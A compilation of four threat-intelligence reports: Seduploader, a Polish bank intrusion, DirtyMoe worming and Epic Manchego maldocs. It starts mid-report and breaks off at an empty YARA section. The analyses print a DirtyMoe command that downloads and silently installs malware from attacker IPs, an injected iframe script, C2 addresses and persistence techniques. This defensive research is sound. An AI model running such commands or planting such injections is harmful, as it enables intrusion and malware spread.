The goal of this code is to get information from the properties of the document ("Subject", "Company", "Category", "Hyperlink base", and finally "Comments"). Some of this information can be directly extracted from the Windows explorer by looking at the properties of the file. The "Hyperlink Base" must be extracted using another tool; strings is capable of obtaining this by looking for long strings. Pay close attention to the contents of these fields as they appear base64 encoded.
This extracted information is concatenated together to make a single variable. This variable is decoded with the base64 algorithm in order to get a Windows library (PE file) which is written to disk. The file is named `netwf.dat`. On the next step, this file is executed by `rundll32.exe` via the KlpSvc export. We see that this file drops two additional files: `netwf.bat` and `netwf.dll`. The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden. We can also see two VBA variable names: `PathPld`, probably for Path Payload, and `PathPldBt`, for Path Payload Batch.
### Seduploader Variant
#### Dropper Analysis
As opposed to previous campaigns performed by this actor, this latest version does not contain privilege escalation and it simply executes the payload and configures persistence mechanisms. The dropper installs two files:
- `netwf.bat`: executes `netwf.dll`
- `netwf.dll`: the payload
The dropper implements two persistence mechanisms:
- `HKCU\Environment\UserInitMprLogonScript` to execute the `netwf.bat` file
- COM Object hijack of the following CLSID: `{BCDE0395-E52F-467C-8E3D-C4579291692E}`, the CLSID of the class MMDeviceEnumerator.
These two techniques have also been previously used by this actor. Finally, the payload is executed by `rundll32.exe` (and the ordinal #1 in argument) or by `explorer.exe` if the COM Object hijack is performed. In this case, `explorer.exe` will instance the MMDeviceEnumerator class and will execute the payload.
### Payload Analysis
The payload features are similar to the previous versions of Seduploader. We can compare it to the sample `e338d49c270baf64363879e5eecb8fa6bdde8ad9` used in May 2017 by Group 74. Of the 195 functions of the new sample, 149 are strictly identical, 16 match at 90%, and 2 match at 80%:
In the previous campaign where adversaries used Office document exploits as an infection vector, the payload was executed in the Office word process. In this campaign, adversaries did not use any exploit. Instead, the payload is executed in standalone mode by `rundll32.exe`.
Adversaries also changed some constants, such as the XOR key used in the previous version. The key in our version is:
```
key = b"\x08\x7A\x05\x04\x60\x7c\x3e\x3c\x5d\x0b\x18\x3c\x55\x64"
```
The MUTEX name is different too: `FG00nxojVs4gLBnwKc7HhmdK0h`.
Here are some of the Seduploader features:
- Screenshot capture (with the GDI API)
- Data/configuration exfiltration
- Execution of code
- File downloading
The Command & Control (CC) of the analyzed sample is `myinvestgroup[.]com`. During the investigation, the server did not provide any configuration to the infected machines. Based on the metadata of the Office documents and the PE files, the attackers had created the file on Wednesday, the 4th of October. We can see, in Cisco Umbrella, a peak in activities three days later, Saturday the 7th of October.
## Conclusion
Analysis of this campaign shows us once more that attackers are creative and use the news to compromise the targets. This campaign has most likely been created to allow the targeting of people linked to or interested in cybersecurity, so probably the people who are more sensitive to cybersecurity threats. In this case, Group 74 did not use an exploit or any 0-day but simply used scripting language embedded within the Microsoft Office document. Due to this change, the fundamental compromise mechanism is different as the payload is executed in a standalone mode. The reasons for this are unknown, but we could suggest that they did not want to utilize any exploits to ensure they remained viable for any other operations. Actors will often not use exploits due to the fact that researchers can find and eventually patch these, which renders the actors' weaponized platforms defunct. Additionally, the author did some small updates after publications from the security community; again, this is common for actors of this sophisticated nature. Once their campaigns have been exposed, they will often try to change tooling to ensure better avoidance. For example, the actor changed the XOR key and the MUTEX name. We assume that these modifications were performed in order to avoid detection based on public IOCs.
## Coverage
Additional ways our customers can detect and block this threat are listed below:
- Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.
- CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.
- Email Security can block malicious emails sent by threat actors as part of their campaign.
- Network Security appliances such as NGFW, NGIPS, and Meraki MX can detect malicious activity associated with this threat.
- AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
- Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
- Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
## IOCs
### Files
**Office Documents:**
- `c4be15f9ccfecf7a463f3b1d4a17e7b4f95de939e057662c3f97b52f7fa3c52f`
- `e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae`
- `efb235776851502672dba5ef45d96cc65cb9ebba1b49949393a6a85b9c822f52`
**Seduploader Dropper:**
- `522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805`
**Seduploader Payload:**
- `ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18`
### Networks
**CC:**
- `myinvestgroup[.]com` |
# Several Polish Banks Hacked, Information Stolen by Unknown Attackers
Polish banks are frantically scanning their workstations and servers while checking logs in the search of signs of infection after some of them noticed unusual network activity and unauthorized files on key machines within their networks. This is the most serious information security incident we have seen in Poland.
It has been a busy week in SOCs all over the Polish financial sector. At least a few of Poland's 20-something commercial banks have already confirmed being victims of a malware infection while others keep looking. Network traffic to exotic locations and encrypted executables nobody recognized on some servers were the first signs of trouble. A little more than a week ago, one of the banks detected strange malware present in a few workstations. Having established basic indicators of compromise, they managed to share that information with other banks, who started asking their SIEMs for information. In some cases, the results came back positive.
## Delivery
Preliminary investigation suggests that the starting point for the infection could have been located on the webserver of the Polish Financial Supervision Authority. Due to a slight modification of one of the local JS files, an external JS file was loaded, which could have executed malicious payloads on selected targets. This would be ironic if the website of the key institution responsible for assuring proper security levels in the banking sector was used to attack it.
Current website status is “under maintenance.” Data from PassiveTotal does confirm the finding related to external resources included in the knf.gov.pl website since October 7, 2016, till yesterday.
Unauthorized code was located in the following file:
```
http://www.knf.gov.pl/DefaultDesign/Layouts/KNF2013/resources/accordian-src.js?ver=11
```
and looked like this:
```
document.write("<div id='efHpTk' width='0px' height='0px'><iframe name='forma' src='https://sap.misapor.ch/vishop/view.jsp?pagenum=1' width='145px' height='146px' style='left:-2144px;position:absolute;top:0px;'></iframe></div>");
```
After successful exploitation, malware was downloaded to the workstation, where, once executed, connected to some foreign servers and could be used to perform network reconnaissance, lateral movement, and data exfiltration. In some cases, the attackers managed to gain control over key servers within bank infrastructure.
## Malware
While you can find some hashes at the end of this article, we gathered the available information regarding the malware itself. While there might be some elements borrowed from other similar tools and crimeware strategies, the malware used in this attack has not been documented before. It uses some commercial packers and multiple obfuscation methods, has multiple stages, relies on encryption, and at the moment of initial analysis was not recognized by available AV solutions. The final payload has the functionality of a regular RAT.
## Motivation
While we have no idea of the attackers' motivation, so far we have no knowledge of any direct financial losses incurred by banks or their customers due to this attack. What is more troubling, some of the victims were able to identify large outgoing data transfers. So far they could not identify the contents of the data as it was encrypted. Investigation continues to fully understand the scope of losses.
## Conclusions & IOCs
While this should not come as a surprise, this incident is the perfect example of the statement “you are going to get infected.” The Polish financial sector has some of the best people and tools in terms of security, and still, it looks like the attackers achieved their objectives without major hurdles in at least some cases. On the good side, they were detected, and once notified, banks were able to quickly identify infected machines and suspicious traffic patterns. The whole process lacked solid information sharing, but this is a problem known everywhere.
We hope to continue investigating this incident and share with you more details about the malware itself in the future. Meanwhile, please find attached some IOCs we can share today:
### MD5, SHA1, SHA256 hashes of some samples:
- C1364BBF63B3617B25B58209E4529D8C
- 85D316590EDFB4212049C4490DB08C4B
- 1BFBC0C9E0D9CEB5C3F4F6CED6BCFEAE
- 496207DB444203A6A9C02A32AFF28D563999736C
- 4F0D7A33D23D53C0EB8B34D102CDD660FC5323A2
- BEDCEAFA2109139C793CB158CEC9FA48F980FF2B
- FC8607C155617E09D540C5030EABAD9A9512F656F16B38682FD50B2007583E9B
- D4616F9706403A0D5A2F9A8726230A4693E4C95C58DF5C753CCC684F1D3542E2
- CC6A731E9DAFF84BAE4214603E1C3BAD8D6735B0CBB2A0EC1635B36E6A38CB3A
### Some C&C IP addresses:
- 125.214.195.17
- 196.29.166.218
### Potentially malicious URLs included in knf.gov.pl website:
- http://sap.misapor.ch/vishop/view.jsp?pagenum=1
- https://www.eye-watch.in/design/fancybox/Pnf.action |
# DirtyMoe: Worming Modules
The DirtyMoe malware is deployed using various kits like PurpleFox or injected installers of Telegram Messenger that require user interaction. Complementary to this deployment, one of the DirtyMoe modules expands the malware using worm-like techniques that require no user interaction. This research analyzes this worming module’s kill chain and the procedures used to launch/control the module through the DirtyMoe service. Other areas investigated include evaluating the risk of identified exploits used by the worm and detailed analysis of how its victim selection algorithm works. Finally, we examine this performance and provide a thorough examination of the entire worming workflow.
The analysis showed that the worming module targets older well-known vulnerabilities, e.g., EternalBlue and Hot Potato Windows Privilege Escalation. Another important discovery is a dictionary attack using Service Control Manager Remote Protocol (SCMR), WMI, and MS SQL services. Finally, an equally critical outcome is discovering the algorithm that generates victim target IP addresses based on the worming module’s geographical location. One worm module can generate and attack hundreds of thousands of private and public IP addresses per day; many victims are at risk since many machines still use unpatched systems or weak passwords. Furthermore, the DirtyMoe malware uses a modular design; consequently, we expect other worming modules to be added to target prevalent vulnerabilities.
## 1. Introduction
DirtyMoe, the successful malware we documented in detail in the previous series, also implements mechanisms to reproduce itself. The most common way of deploying the DirtyMoe malware is via phishing campaigns or malvertising. In this series, we will focus on techniques that help DirtyMoe to spread in the wild.
The PurpleFox exploit kit (EK) is the most frequently observed approach to deploy DirtyMoe; the immediate focus of PurpleFox EK is to exploit a victim machine and install DirtyMoe. PurpleFox EK primarily abuses vulnerabilities in the Internet Explorer browser via phishing emails or popunder ads. For example, Guardicore described a worm spread by PurpleFox that abuses SMB services with weak passwords, infiltrating poorly secured systems. Recently, Minerva Labs has described the new infection vector installing DirtyMoe via an injected Telegram Installer.
Currently, we are monitoring three approaches used to spread DirtyMoe in the wild. The primary function of the DirtyMoe malware is crypto-mining; it is deployed to victims’ machines using different techniques. We have observed PurpleFox EK, PurpleFox Worm, and injected Telegram Installers as mediums to spread and install DirtyMoe; we consider it highly likely that other mechanisms are used in the wild.
In the fourth series on this malware family, we described the deployment of the DirtyMoe service. The DirtyMoe service is run as a svchost process that starts two other processes: DirtyMoe Core and Executioner, which manages DirtyMoe modules. Typically, the executioner loads two modules; one for Monero mining and the other for worming replication.
Our research has been focused on worming since it seems that worming is one of the main mediums to spread the DirtyMoe malware. The PurpleFox worm described by Guardicore is just the tip of the worming iceberg because DirtyMoe utilizes sophisticated algorithms and methods to spread itself into the wild and even to spread laterally in the local network. The goal of the DirtyMoe worm is to exploit a target system and install itself into a victim machine. The DirtyMoe worm abuses several known vulnerabilities as follows:
- **CVE:2019-9082**: ThinkPHP – Multiple PHP Injection RCEs
- **CVE:2019-2725**: Oracle Weblogic Server – ‘AsyncResponseService’ Deserialization RCE
- **CVE:2019-1458**: WizardOpium Local Privilege Escalation
- **CVE:2018-0147**: Deserialization Vulnerability
- **CVE:2017-0144**: EternalBlue SMB Remote Code Execution (MS17-010)
- **MS15-076**: RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)
- Dictionary attacks to MS SQL Servers, SMB, and Windows Management Instrumentation (WMI)
The prevalence of DirtyMoe is increasing in all corners of the world; this may be due to the DirtyMoe worm’s strategy of generating targets using a pseudo-random IP generator that considers the worm’s geological and local location. A consequence of this technique is that the worm is more flexible and effective given its location. In addition, DirtyMoe can be expanded to machines hidden behind NAT as this strategy also provides lateral movement in local networks. A single DirtyMoe instance can generate and attack up to 6,000 IP addresses per second.
The insidiousness of the whole worm’s design is its modularization controlled by C&C servers. For example, DirtyMoe has a few worming modules targeting a specific vulnerability, and C&C determines which worming module will be applied based on information sent by a DirtyMoe instance.
The DirtyMoe worming module implements three basic phases common to all types of vulnerabilities. First, the module generates a list of IP addresses to target in the initial phase. Then, the second phase attacks specific vulnerabilities against these targets. Finally, the module performs dictionary attacks against live machines represented by the randomly generated IP addresses. The most common modules that we have observed are SMB and SQL.
This article focuses on the DirtyMoe worming module. We analyze and discuss the worming strategy, which exploits are abused by the malware author, and a module behavior according to geological locations. One of the main topics is the performance of IP address generation, which is crucial for the malware’s success. We are also looking for specific implementations of abused exploits, including their origins.
## 2. Worm Kill Chain
We can describe the general workflow of the DirtyMoe worming module through the kill chain.
### Reconnaissance
The worming module generates targets at random but also considers the geolocation of the module. Each generated target is tested for the presence of vulnerable service versions; the module connects to the specific port where attackers expect vulnerable services and verifies whether the victim’s machine is live. If the verification is successful, the worming module collects basic information about the victim’s OS and versions of targeted services.
### Weaponization
The C&C server appears to determine which specific module is used for worming without using any victim’s information. Currently, we do not precisely know what algorithm is used for module choice but suspect it depends on additional information sent to the C&C server. When the module verifies that a targeted victim’s machine is potentially exploitable, an appropriate payload is prepared, and an attack is started. The payload must be modified for each attack since a remote code execution (RCE) command is valid only for a few minutes.
### Delivery
In this kill chain phase, the worming module sends the prepared payload. The payload delivery is typically performed using protocols of targeted services, e.g., SMB or MS SQL protocols.
### Exploitation and Installation
If the payload is correct and the victim’s machine is successfully exploited, the RCE command included in the payload is run. Consequently, the DirtyMoe malware is deployed.
## 3. RCE Command
The main goal of the worming module is to achieve RCE under administrator privileges and install a new DirtyMoe instance. The general form of the executed command is the same for each worming module:
```
Cmd /c for /d %i in (@WEB@) do Msiexec /i http://%i/@FIN@ /Q
```
The command usually iterates through three IP addresses of C&C servers, including ports. IPs are represented by the placeholder `@WEB@` filled on runtime. Practically, `@WEB@` is regenerated for each payload sent since the IPs are rotated every minute utilizing sophisticated algorithms. The second placeholder is `@FIN@` representing the DirtyMoe object’s name; this is, in fact, an MSI installer package. The package filename is in the form of a hash – `[A-F0-9]{8}\.moe`. The hash name is generated using a hardcoded hash table, methods for rotations and substrings, and by the `MS_RPC_<n>` string, where `n` is a number determined by the DirtyMoe service.
The core of the `@RCE@` command is the execution of the remote DirtyMoe object via `msiexec` in silent mode. An example of a specific `@RCE@` command is:
```
Cmd /c for /d %i in (45.32.127.170:16148 92.118.151.102:19818 207.246.118.120:11410) do Msiexec /i http://%i/6067C695.moe /Q
```
## 4. IP Address Generation
The key feature of the worming module is the generation of IP addresses (IPs) to attack. There are six methods used to generate IPs with the help of a pseudo-random generator; each method focuses on a different IPv4 Class. Accordingly, this factor contributes to the globally uniform distribution of attacked machines and enables the generation of more usable IP addresses to target.
### 4.1 Class B from IP Table
The most significant proportion of generated addresses is provided by 10 threads generating IPs using a hardcoded list of 24,622 items. Each list item is in the form `0xXXXX0000`, representing IPs of Class B. Each thread generates IPs based on the algorithms as follows: The algorithm randomly selects a Class B address from the list and 65,536 times generates an entirely random number that adds to the selected Class B addresses. The effect is that the final IP address generated is based on the geological location hardcoded in the list.
### 4.2 Fully Random IP
The other three threads generate completely random IPs, so the geological position is also entirely random. However, the full random IP algorithm generates low classes more frequently.
### 4.3 Derived Classes A, B, C
Three other algorithms generate IPs based on an IP address of a machine (IPm) where the worming module runs. Consequently, the worming module targets machines in the nearby surroundings. Addresses are derived from the IPm masked to the appropriate Class A/B/C, and a random number representing the lower Class is added.
### 4.4 Derived Local IPs
The last IP generating method is represented by one thread that scans interfaces attached to local networks. The worming module lists local IPs using `gethostbyname()` and processes one local address every two hours. Each local IP is masked to Class C, and 255 new local addresses are generated based on the masked address. As a result, the worming module attacks all local machines close to the infected machine in the local network.
## 5. Attacks to Abused Vulnerabilities
We have detected two worming modules which primarily attack SMB services and MS SQL databases. Our team has been lucky since we also discovered something rare: a worming module containing exploits targeting PHP, Java Deserialization, and Oracle Weblogic Server that was still under development. In addition, the worming modules include a packed dictionary of 100,000 words used with dictionary attacks.
### 5.1 EternalBlue
One of the main vulnerabilities is **CVE:2017-0144**: EternalBlue SMB Remote Code Execution (patched by Microsoft in MS17-010). It is still bewildering how many EternalBlue attacks are still observed – Avast is still blocking approximately 20 million attempts for the EternalBlue attack every month. The worming module focuses on the Windows version from Windows XP to Windows 8. We have identified that the EternalBlue implementation is the same as described in exploit-db, and an effective payload including the `@RCE@` command is identical to DoublePulsar. Interestingly, the whole EternalBlue payload is hardcoded for each Windows architecture, although the payload can be composed for each platform separately.
### 5.2 Service Control Manager Remote Protocol
No known vulnerability is used in the case of Service Control Manager Remote Protocol (SCMR). The worming module attacks SCMR through a dictionary attack. The first phase is to guess an administrator password. If the dictionary attack is successful and the module guesses the password, a new Windows service is created and started remotely via RPC over the SMB service. Binding to the SCMR is identified using UUID `{367ABB81-9844-35F1-AD32-98F038001003}`. On the server-side, the worming module as a client writes commands to the `\PIPE\svcctl` pipe. The first batch of commands creates a new service and registers a command with the malicious `@RCE@` payload. The new service is started and is then deleted to attempt to cover its tracks. The Microsoft HTML Application Host (`mshta.exe`) is used as a LOLbin to execute and create ShellWindows and run `@RCE@`. The advantage of this proxy execution is that `mshta.exe` is typically marked as trusted; some defenders may not detect this misuse of `mshta.exe`.
### 5.3 Windows Management Instrumentation
The second method that does not misuse any known vulnerability is a dictionary attack to Windows Management Instrumentation (WMI). The workflow is similar to the SCMR attack. Firstly, the worming module must also guess the password of a victim administrator account. The attackers can use WMI to manage and access data and resources on remote computers. If they have an account with administrator privileges, full access to all system resources is available remotely. The malicious misuse lies in the creation of a new process that runs `@RCE@` via a WMI script.
### 5.4 Microsoft SQL Server
Attacks on Microsoft SQL Servers are the second most widespread attack in terms of worming modules. Targeted MS SQL Servers are 2000, 2005, 2008, 2012, 2014, 2016, 2017, 2019. The worming module also does not abuse any vulnerability related to MS SQL. However, it uses a combination of the dictionary attack and **MS15-076**: “RCE Allow Elevation of Privilege” known as “Hot Potato Windows Privilege Escalation”. Additionally, the malware authors utilize the **MS15-076** implementation known as Tater, the PowerSploit function Invoke-ReflectivePEInjection, and **CVE-2019-1458**: “WizardOpium Local Privilege Escalation” exploit.
The first stage of the MS SQL attack is to guess the password of an attacked MS SQL server. The first batch of username/password pairs is hardcoded. The malware authors have collected the hardcoded credentials from publicly available sources. It contains fifteen default passwords for a few databases and systems like Nette Database, Oracle, Firebird, Kingdee KIS, etc. If the first batch is not successful, the worming module attacks using the hardcoded dictionary.
## 6. Worming Module Execution
The worming module is managed by the DirtyMoe service, which controls its configuration, initialization, and worming execution. This section describes the lifecycle of the worming module.
### 6.1 Configuration
The DirtyMoe service contacts one of the C&C servers and downloads an appropriate worming module into a Shim Database (SDB) file located at `%windir%\apppatch\TK<volume-id>MS.sdb`. The worming module is then decrypted and injected into a new `svchost.exe` process. The encrypted module is a PE executable that contains additional placeholders. The DirtyMoe service passes configuration parameters to the module via these placeholders.
### 6.2 Initialization
When the worming module, represented by the new process, is injected and resumed by the DirtyMoe service, the module initialization is invoked. Firstly, the module unpacks a word dictionary containing passwords for a dictionary attack. The dictionary consists of 100,000 commonly used passwords compressed using LZMA. Secondly, internal structures are established.
### 6.3 Worming
The worming process has five phases run, more or less, in parallel.
### 6.4 Dictionary Attack
The dictionary attack targets two administrator user names, namely `administrator` for SMB services and `sa` for MS SQL servers. If the attack is successful, the worming module infiltrates a targeted system utilizing an attack series composed of techniques described in Section 5.
## 7. Summary and Discussion
Modules
We have detected three versions of the DirtyMoe worming module in use. Two versions specifically focus on the SMB service and MS SQL servers. However, the third contains several artifacts implying other attack vectors targeting PHP, Java Deserialization, and Oracle Weblogic Server. We continue to monitor and track these activities.
Attacked Machines
One interesting finding is an attack adaptation based on the geological location of the worming module. Methods described in Section 4 try to distribute the generated IP addresses evenly to cover the largest possible radius. This is achieved using the IP address of the worming module itself since half of the threads generating the victim’s IPs are based on the module IP address. Otherwise, if the IP is not available for some reason, the IP address `98.126.89.1` located in Los Angeles is used as the base address.
Exploits
All abused exploits are from publicly available resources. We have identified six main vulnerabilities summarized in the table. The worming module adopts the exact implementation of EternalBlue, ThinkPHP, and Oracle Weblogic Server exploits from exploit-db. In the same way, the module applies and modifies implementations of DoublePulsar, Tater, and PowerSploit frameworks.
## 8. Conclusion
The primary goal of this research was to analyze one of the DirtyMoe module groups, which provides the spreading of the DirtyMoe malware using worming techniques. The second aim of this study was to investigate the effects of worming and investigate which exploits are in use.
In most cases, DirtyMoe is deployed using external exploit kits like PurpleFox or injected installers of Telegram Messenger that require user interaction to successful infiltration. Importantly, worming is controlled by C&C and executed by active DirtyMoe instances, so user interaction is not required.
Worming target IPs are generated utilizing the cleverly designed algorithm that evenly generates IP addresses across the world and in relation to the geological location of the worming module. Moreover, the module targets local/home networks. Because of this, public IPs and even private networks behind firewalls are at risk.
Victims’ active machines are attacked using EternalBlue exploits and dictionary attacks aimed at SCMR, WMI, and MS SQL services with weak passwords. Additionally, we have detected a total of six vulnerabilities abused by the worming module that implement publicly disclosed exploits.
We also discovered one worming module in development containing other vulnerability exploit implementations – it did not appear to be fully armed for deployment. However, there is a chance that tested exploits are already implemented and are spreading in the wild. Based on the amount of active DirtyMoe instances, it can be argued that worming can threaten hundreds of thousands of computers per day. Furthermore, new vulnerabilities, such as Log4j, provide a tremendous and powerful opportunity to implement a new worming module. With this in mind, our researchers continue to monitor the worming activities and hunt for other worming modules. |
# Epic Manchego – Atypical Maldoc Delivery Brings Flurry of Infostealers
In July 2020, NVISO detected a set of malicious Excel documents, also known as “maldocs,” that deliver malware through VBA-activated spreadsheets. While the malicious VBA code and the dropped payloads were something we had seen before, it was the specific way in which the Excel documents themselves were created that caught our attention.
The creators of the malicious Excel documents used a technique that allows them to create macro-laden Excel workbooks without actually using Microsoft Office. As a side effect of this particular way of working, the detection rate for these documents is typically lower than for standard maldocs.
This blog post provides an overview of how these malicious documents came to be. In addition, it briefly describes the observed payloads and finally closes with recommendations as well as indicators of compromise to help defend your organization from such attacks.
## Key Findings (TL;DR)
- The malicious Microsoft Office documents are created using the EPPlus software rather than Microsoft Office Excel; these documents may fly under the radar as they differ from a typical Excel document.
- NVISO assesses with medium confidence that this campaign is delivered by a single threat actor based on the limited number of documents uploaded to services such as VirusTotal and the similarities in payload delivery throughout this campaign.
- The payloads that have been observed up to the date of the release of this post have been, for the most part, information stealers with the intention of harvesting passwords from browsers, email clients, etc.
- The payloads stemming from these documents have evolved only slightly in terms of obfuscation and masquerading. This is another indication of a single actor who is slowly evolving their technical prowess.
## Analysis
### Malicious Document Analysis
In an earlier blog post, we wrote about “VBA Purging,” which is a technique to remove compiled VBA code from VBA projects. We were interested to see if any malicious documents found in the wild were adopting this technique (it lowers the initial detection rate of antivirus products). This is how we stumbled upon a set of peculiar malicious documents.
At first, we thought they were created with Excel and were then VBA purged. But closer examination leads us to believe that these documents are created with a .NET library that creates Office Open XML (OOXML) spreadsheets. As stated in our VBA Purging blog post, Office documents can also lack compiled VBA code when they are created with tools that are totally independent from Microsoft Office. EPPlus is such a tool. We are familiar with this .NET library, as we have been using it for a couple of years to create malicious documents for our red team and penetration testers.
When we noticed that the maldocs had no compiled code and were also missing Office metadata, we quickly thought about EPPlus. This library also creates OOXML files without compiled VBA code and without Office metadata.
The OOXML file format is an Open Packaging Conventions (OPC) format: a ZIP container with mainly XML files and possibly binary files (like pictures). It was first introduced by Microsoft with the release of Office 2007. OOXML spreadsheets use the extensions .xlsx and .xlsm (for spreadsheets with macros).
When a VBA project is created with EPPlus, it does not contain compiled VBA code. EPPlus has no methods to create compiled code: the algorithms to create compiled VBA code are proprietary to Microsoft.
The very first malicious document we detected was created on June 22, 2020, and since then, over 200 malicious documents were found over a period of 2 months. The actor has increased their activity in the last weeks, as now we see more than 10 new malicious documents on some days.
The maldocs discovered over the course of two months have many properties that are quite different from the properties of documents created with Microsoft Office. We believe this is the case because they are created with a tool independent from Microsoft Excel. Although we don’t have a copy of the exact tool used by the threat actor to create these malicious documents, the malicious documents created by this tool have many properties that convince us that they were created with the aforementioned EPPlus software.
Some of EPPlus’ properties include, but are not limited to:
- Powerful and versatile library: not only can it create spreadsheets containing a VBA project, but that project can also be password protected and/or digitally signed. It does not rely on Microsoft Office. It can also run on Mono (cross-platform, open-source .NET).
- OOXML files created with EPPlus have some properties that distinguish them from OOXML files created with Excel. Here is an overview:
- **ZIP Date**: Every file included in a ZIP file has a timestamp. For documents created (or edited) with Microsoft Office, this timestamp is always 1980-01-01 00:00:00. OOXML files created with EPPlus have a timestamp that corresponds to the creation time of the document.
- **Extra ZIP Records**: Microsoft Office creates OOXML files containing three ZIP record types. EPPlus creates OOXML files containing four ZIP records: it also includes a ZIP data description record after each ZIP file record.
- **Missing Office Document Metadata**: An OOXML document created with Microsoft Office contains metadata (author, title, etc.). This metadata is stored inside XML files found inside the docProps folder. By default, documents created with EPPlus don’t have metadata.
- **VBA Purged**: OOXML files with a VBA project created with Microsoft Office contain an OLE file with streams containing the compiled VBA code and the compressed VBA source code. Documents created with EPPlus do not contain compiled VBA code, only compressed VBA source code.
In addition to the above, we have also observed some properties of the VBA source code that hint at the use of a creation tool based on a library like EPPlus. There are a couple of variants to the VBA source code used by the actor, but all these variants contain a call to a loader function with one argument, a string with the URL (either BASE64 or hexadecimal encoded).
To illustrate these differences in properties, we show examples with one of our internal tools using the EPPlus library. We create a vba.xlsm file with the VBA code in a text file using our tool.
Some of the malicious documents contain objects that clearly have been created with EPPlus, using some of the example code found on the EPPlus Wiki.
Noteworthy is that all maldocs we observed have their VBA project protected with a password. It is interesting to note that the VBA code itself is not encoded/encrypted; it is stored in cleartext (although compressed). When a document with a password-protected VBA project is opened, the VBA macros will execute without the password.
Although each malicious document is unique with its own VBA code, with more than 200 samples analyzed to date, we can generalize and abstract all this VBA code to just a handful of templates. The VBA code will either use PowerShell or ActiveX objects to download the payload. A Yara rule to detect these maldocs is provided at the end of this blog post for identification and detection purposes.
### Payload Analysis
As mentioned in the previous section, via the malicious VBA code, a second-stage payload is downloaded from various websites. Each second-stage executable created by its respective malicious document acts as a dropper for the final payload. In order to thwart detection mechanisms such as antivirus solutions, a variety of obfuscation techniques are leveraged, which are however not advanced enough to hide the malicious intent. The infrastructure used by the threat actor appears to mainly comprise compromised websites.
Popular antivirus solutions commonly identify the second-stage executables as “AgentTesla.” While leveraging VirusTotal for malware identification is not an ideal method, it does display how simple obfuscation can result in an incorrect classification.
The different obfuscation techniques we observed outline a pattern common to all second-stage executables of operation Epic Manchego. The second stage will dynamically load a decryption DLL. This DLL component then proceeds to extract additional settings and a third-stage payload before transferring the execution to the final payload, typically an information stealer.
Although the above obfuscation pattern is common to all samples, we have observed an evolution in its complexity as well as a wide variation in perhaps more opportunistic techniques.
| Early Variants | Recent Variants |
|----------------|-----------------|
| DLL Component | Obfuscated base64 encoding |
| Final Payload | Single-PNG encoding |
| Opportunistic Obfuscation | Name randomisation, Run-time method resolving, Goto flow-control, etc. |
A common factor of the operation’s second-stage samples is the usage of steganography to obfuscate their malicious intent. The image itself is part of the second-stage sample which has the following properties.
Noteworthy is the likelihood that the obfuscation process is not built by the threat actors themselves. A careful review of the second-stage steganography decoding routine uncovers how most samples mistakenly contain the final payload twice. The complexity of the second- and third-stage payloads furthermore tends to suggest the operation involves different actors as the initial documents reflect a less experienced actor.
Throughout the multiple dictionary-based variants analyzed, we noticed that, regardless of the final payload, similar keys were used as part of the settings. All dictionaries contained the final payload as “EpkVBztLXeSpKwe” while some also contained the same value as “PXcli.0.XdHg.” This suggests a possible builder for payload delivery, which may be used by multiple actors.
Within the manually analyzed dataset of 30 distinct dictionary-based second stages, 19 unique final payloads were observed. From these, the “Azorult” stealer accounts for 50% of the variant’s delivery. Other payloads include “AgentTesla,” “Formbook,” “Matiex,” and “njRat,” which are all well-documented already.
## Targeting
A small number of the malicious documents we retrieved from VirusTotal were uploaded together with the phishing email itself. Analysis of these emails can shed some light on the potential targets of this actor. Due to the limited number of source emails retrieved, it was not possible to identify a clear pattern based on the victims. In the six emails we were able to retrieve, recipients were in the medical equipment sector, aluminium sector, facility management, and a vendor for custom-made press machines.
When looking into the sender domains, it appears most emails are sent from legitimate companies. Having used the “Have I Been Pwned” service to confirm if any of the email addresses were known to be compromised, turned up with no results. This leaves us to wonder whether the threat actor was able to leverage these accounts during an earlier infection or whether a different party supplied them. Regardless of who compromised the accounts, it appears the threat actor primarily uses legitimate corporate email accounts to initiate the phishing campaign.
Looking at both sender and recipient, there doesn’t appear to be a pattern we can deduce to identify potential new targets. There does not seem to be a specific sector targeted nor are the sending domains affiliated with each other.
Both body (content) and subject of the emails relate to a more classic phishing scheme, for example, a request to initiate business for which the attachment provides the ‘details’. An overview of subjects observed can be seen below:
- Re: Quotation required
- Quote volume and weight for preferred
- *****SPAM***** FW: Offer_10044885_[companyname]_2_09_2020.xlsx
- [SUSPECTED SPAM] Alternatives for Request
- Purchase Order Details
- Quotation Request
This method of enticing users to open the attachments is nothing new and does not provide a lot of additional information to pinpoint the campaign targeting any specific organization or verticals.
However, leveraging public submissions of the maldocs through VirusTotal, we clustered over 200 documents, which allowed us to rank 27 countries by submission count without differentiating between uploads possibly performed through VPNs. Areas such as the United States, Czech Republic, France, Germany, and China account for the majority of targeted regions.
When analyzing the initial documents for targeted regions, we primarily identified English, Spanish, Chinese, and Turkish language-based images. Some images, however, contained an interesting detail: some of the document properties are in Cyrillic, regardless of the image’s primary language.
Although the Cyrillic Word settings were observed in multiple images, a new maldoc detected at the time of writing this blog post piqued our interest, as it appears to be the first one to explicitly impersonate a healthcare sector member (“Ohiohealth Hardin Memorial Hospital”).
## Assessment
Based on the analysis, NVISO assesses the following:
- The threat actor observed has worked out a new method to create malicious Office documents with a way to at least slightly reduce detection mechanisms.
- The actor is likely experimenting and evolving its methodology in which malicious Office documents are created, potentially automating the workflow.
- While the targeting seems rather limited for now, it’s possible these first runs were intended for testing rather than a full-fledged campaign.
- Recent uptick in detections submitted to VirusTotal confirms the actor may be ramping up their operations.
- While the approach to create malicious documents is unique, the methodologies for payload delivery as well as actual payloads are not, and should be stopped or detected by modern technologies.
In conclusion, NVISO assesses this specific malicious Excel document creation technique is likely to be observed more in the wild, albeit missed by email gateways or analysts, as payload analysis is often considered more interesting. However, blocking and detection of these types of novelties enables organizations to detect and respond quicker in case an uptick or similar campaign occurs.
## Recommendations
- Filter email attachments and emails sent from outside your organization.
- Implement robust endpoint detection and response defenses.
- Create phishing awareness training and perform a phishing exercise.
## YARA
We provide the following rule to implement in your detection mechanisms for use in further hunting missions.
```yara
